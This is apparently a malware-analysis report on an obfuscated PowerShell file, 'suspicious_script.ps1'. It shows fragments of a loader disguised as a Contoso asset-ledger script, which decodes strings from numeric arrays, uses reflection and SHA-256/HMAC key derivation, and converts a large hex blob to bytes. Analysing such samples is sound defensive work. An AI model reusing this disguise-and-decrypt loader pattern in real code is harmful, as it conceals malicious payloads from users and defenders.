suspicious_script.ps1
Obfuscated PowerShell with crypto and evasion
Numeric character array payloadPowerShell hex-pair byte conversion
SHA-256f06333ae482fbc79b3adedf101d596670b6f1176db2c5bdb2b6d55b406d7fc9a
MaleculeO(As₂)H₃(CrDbPo)
Evidence
1# Asset Ledger for Contoso.
2# Applies the saved local cache record.
3function Load-CatalogPage {
4param([int[]]$Marks)
⋯5 lines
14:21… ntinue }
15foreach ($pair in $line.Split('-')) {
16$bin.WriteByte([Convert]::ToByte($pair, 16))
17}
18}
⋯6 lines
27:14… tKind.GetProperty($localLedger).GetValue($null)
28$derived = $sha.ComputeHash($codec.$savedBatch.Invoke($material))
29$hmac = New-Object $primaryBin (,$derived)
30$mix = $hmac.ComputeHash($codec.$savedBatch.Invoke($savedCache))
31$iv = …
158:7… 3a-b7-75-d4-2e-8e
15924-68-0f-4e-7c-ae-81-01
16060-f4-b6-cf-74-44-f7-ec
161b2-2f-25-32-a6-93-d5-8c
16204-35-6d-4b-ed-b8-16-bd
⋯4 lines
567:17… d-dd-ae
56886-b2-14-a9-b3-43-f9-25
5694f-fa-ee-68-c1-a3-84-aa
570'@
571$primaryCache = Load-CatalogPage @(17,25,19,80,3,74,28,58,70,72,36,49)
572$primaryLedger = Load-CatalogPage @(17,15,71,60,3,50,5,60,8,7,9,10,56)
573$innerDesk = Load-CatalogPage @(100,114,50,13,92,49,38,60,78,5,47,10,33,22,114,33)
574$finalCopy = Load-CatalogPage @(28,88,61,42,69,8,82,28,62,29,92,30,72,40,88,82,5,46,88,32,33,20,86,70,54,32,43,88,82,106,22,48)
575$savedDesk = Load-CatalogPage @(108,39,31,29,60,56,1)
576$savedBatch = Load-CatalogPage @(84,74,42,98,88,64,50,2)
577$primaryBin = Load-CatalogPage @(28,88,2,42,1,8,82,28,1,73,92,37,31,42,88,82,5,30,88,32,33,6,86,30,14,32,65,88,82,120,96,106,5,28,120,106,110,94,116)
578$innerPage = Load-CatalogPage @(28,88,2,33,62,8,82,17,104,82,96,66,8,80,37,88,28,49,30,69,9,7)
579$workingBatch = Load-CatalogPage @(28,88,61,33,44,7,82,28,62,58,92,51,77,64,88,82,5,30,88,32,42,60,86,46,14,36,65,88,82,28,120,106,110,94,116)
580$workingBin = Load-CatalogPage @(28,88,61,33,26,8,82,90,22,114,42,82,100,10,58,24,79,72,25,86)
581$localLedger = Load-CatalogPage @(108,90,112,102)
582$finalDesk = Load-CatalogPage @(28,88,2,42,1,8,82,17,104,82,28,33,51,50,54,8,118,44,9,56,1,51)
583$savedCopy = Load-CatalogPage @(5,51,74,14, …